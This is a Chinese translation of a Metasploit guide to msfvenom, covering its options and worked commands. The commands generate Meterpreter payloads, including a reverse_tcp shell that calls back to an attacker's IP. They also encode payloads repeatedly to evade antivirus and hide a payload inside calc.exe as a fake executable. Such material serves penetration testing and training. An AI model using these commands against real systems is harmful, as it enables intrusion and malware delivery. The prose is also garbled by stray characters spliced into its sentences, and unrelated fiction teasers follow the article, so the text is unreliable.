【譯】Metasploit:如何使用 msfvenom



Msfvenom 在 2015 年 6 月 8 日已經(jīng)替代了 msfpayload 與 msfenocde 命令首繁,它是這兩個命令的結(jié)合體卷胯。

為了開始使用 msfvenom米诉,可以首先瀏覽一下它所支持的命令參數(shù):

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads 
    # 指定特定的 Payload,如果被設(shè)置為 - 圆兵,那么從標(biāo)準(zhǔn)輸入流中讀取
        --payload-options            List the payload's standard options 
    # 列出指定 Payload 的標(biāo)準(zhǔn)可選配置項(xiàng)
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all 
    # 列出所有可用的項(xiàng)目,其中值可以被設(shè)置為 payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload 
    # 指定 nop 在 payload 中的數(shù)量(譯者注:類似堆噴射中通過 nop 滑動到 payload)
    -f, --format        <format>     Output format (use --help-formats for a list) 
    # 指定 Payload 的輸出格式
        --help-formats               List available formats 
    # 列出所有可用的輸出格式
    -e, --encoder       <encoder>    The encoder to use 
    # 指定使用的 Encoder
    -a, --arch          <arch>       The architecture to use 
    # 指定目標(biāo)系統(tǒng)架構(gòu)
        --platform      <platform>   The platform of the payload 
    # 指定目標(biāo)系統(tǒng)平臺
        --help-platforms             List available platforms 
    # 列出可用的平臺
    -s, --space         <length>     The maximum size of the resulting payload 
    # 設(shè)置未經(jīng)編碼的 Payload 的最大長度
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value) 
    # 編碼后的 Payload 的最大長度
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff' 
    # 設(shè)置需要在 Payload 中避免出現(xiàn)的字符
    -i, --iterations    <count>      The number of times to encode the payload 
    # 設(shè)置 Payload 的編碼次數(shù)
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include 
    # 指定包含一個額外的win32 shellcode文件
    -x, --template      <path>       Specify a custom executable file to use as a template 
    # 指定一個特定的可執(zhí)行文件作為模板
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread 
    # 保護(hù)模板程序的功能策泣,注入的payload作為一個新的進(jìn)程運(yùn)行
    -o, --out           <path>       Save the payload 
    # 保存 Payload 到文件
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats 
    # 指定一個變量名
    #(譯者注:當(dāng)添加 -f 參數(shù)的時候衙傀,例如 -f python,那么輸出為 python 代碼萨咕, payload 會被按行格式化為 python 代碼
    # 追加到一個 python 變量中统抬,這個參數(shù)即為指定 python 變量的變量名)
        --smallest                   Generate the smallest possible payload 
    # 盡可能生成最短的 Payload
    -h, --help                       Show this message 
    # 幫助

如何生成 Payload

為了生成 Payload,你需要配置兩個必要的參數(shù)(-p 與 -f):

  • -p 參數(shù)指定特定的 Payload

可以通過如下命令列出所有可以使用的 Payload

./msfvenom -l payloads
  • -p 參數(shù)也支持使用 - 作為值來從標(biāo)準(zhǔn)輸入中讀取自定義的 Payload
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
  • -f 參數(shù)指定 Payload 的輸出格式

例如:

./msfvenom -p windows/meterpreter/bind_tcp -f exe

可以通過如下命令來查看所有支持的格式

./msfvenom --help-formats

下面是一個典型的 msfvenom 的使用案例:

$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

如何對 Payload 進(jìn)行編碼

默認(rèn)情況下,當(dāng)你使用 -b 選項(xiàng)(badchar 選項(xiàng))時聪建,編碼功能將自動啟動钙畔。 在其他情況下,您必須使用-e選項(xiàng)來開啟 Payload 編碼功能金麸,如下所示:

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

如下所示擎析,使用 -l 參數(shù)可以列出所有可用的編碼器(譯者注:encoder)

./msfvenom -l encoders

你也可以通過添加 -i 參數(shù)來將一個 Payload 編碼多次,有時候多次編碼可以繞過防病毒軟件的檢測(譯者注:俗稱免殺)挥下。
但是要知道的是:編碼并不能真正作為免殺的解決方案

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 

避免使用某些字符(譯者注:例如某些情況下 Payload 中是不可以出現(xiàn) \x00 字符的)

-b 參數(shù)被設(shè)置的時候揍魂,它的值中描述的字符將會被避免出現(xiàn)在 Payload 中
當(dāng)這個參數(shù)被添加的時候,msfvenom 將會自動尋找合適的編碼器來編碼 Payload

./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

如何提供一個自定義的模板

默認(rèn)情況下棚瘟,msfvenom 使用保存在目錄 msf/data/templates 下的模板文件现斋。如果你想要選擇自己的模板,你可以使用 -x 參數(shù)來指定

./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe 

請注意:如果你想使用一個自定義的基于 64 位操作系統(tǒng)的模板偎蘸,那么請將 -f 參數(shù)中的 exe 修改為 exe-only

./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe

-x 參數(shù)經(jīng)常與 -k 參數(shù)成對出現(xiàn)庄蹋,這樣你就可以將模板中的 Payload 作為新線程運(yùn)行。
但是迷雪,目前這僅適用于較老的Windows機(jī)器限书,如 x86 Windows XP。

如何將 msfvenom 的輸出串聯(lián)起來(利用操作系統(tǒng)管道的重定向特性)

以前舊的 msfpayloadmsfencode 經(jīng)常串聯(lián)使用章咧,并按照多種編碼順序排列倦西。msfvenom 也可以被這樣使用:

./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
./msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | \
./msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe

參考文章(譯者注)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市赁严,隨后出現(xiàn)的幾起案子调限,更是在濱河造成了極大的恐慌,老刑警劉巖误澳,帶你破解...
    沈念sama閱讀 217,907評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件耻矮,死亡現(xiàn)場離奇詭異,居然都是意外死亡忆谓,警方通過查閱死者的電腦和手機(jī)裆装,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,987評論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來倡缠,“玉大人哨免,你說我怎么就攤上這事£悸伲” “怎么了琢唾?”我有些...
    開封第一講書人閱讀 164,298評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長盾饮。 經(jīng)常有香客問我采桃,道長懒熙,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,586評論 1 293
  • 正文 為了忘掉前任普办,我火速辦了婚禮工扎,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘衔蹲。我一直安慰自己肢娘,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,633評論 6 392
  • 文/花漫 我一把揭開白布舆驶。 她就那樣靜靜地躺著橱健,像睡著了一般。 火紅的嫁衣襯著肌膚如雪沙廉。 梳的紋絲不亂的頭發(fā)上畴博,一...
    開封第一講書人閱讀 51,488評論 1 302
  • 那天,我揣著相機(jī)與錄音蓝仲,去河邊找鬼。 笑死官疲,一個胖子當(dāng)著我的面吹牛袱结,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播途凫,決...
    沈念sama閱讀 40,275評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼垢夹,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了维费?” 一聲冷哼從身側(cè)響起果元,我...
    開封第一講書人閱讀 39,176評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎犀盟,沒想到半個月后而晒,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,619評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡阅畴,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,819評論 3 336
  • 正文 我和宋清朗相戀三年倡怎,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片贱枣。...
    茶點(diǎn)故事閱讀 39,932評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡监署,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出纽哥,到底是詐尸還是另有隱情钠乏,我是刑警寧澤,帶...
    沈念sama閱讀 35,655評論 5 346
  • 正文 年R本政府宣布春塌,位于F島的核電站晓避,受9級特大地震影響簇捍,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜够滑,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,265評論 3 329
  • 文/蒙蒙 一垦写、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧彰触,春花似錦梯投、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,871評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至尔许,卻和暖如春么鹤,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背味廊。 一陣腳步聲響...
    開封第一講書人閱讀 32,994評論 1 269
  • 我被黑心中介騙來泰國打工蒸甜, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人余佛。 一個月前我還...
    沈念sama閱讀 48,095評論 3 370
  • 正文 我出身青樓柠新,卻偏偏與公主長得像,于是被迫代替她去往敵國和親辉巡。 傳聞我的和親對象是個殘疾皇子恨憎,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,884評論 2 354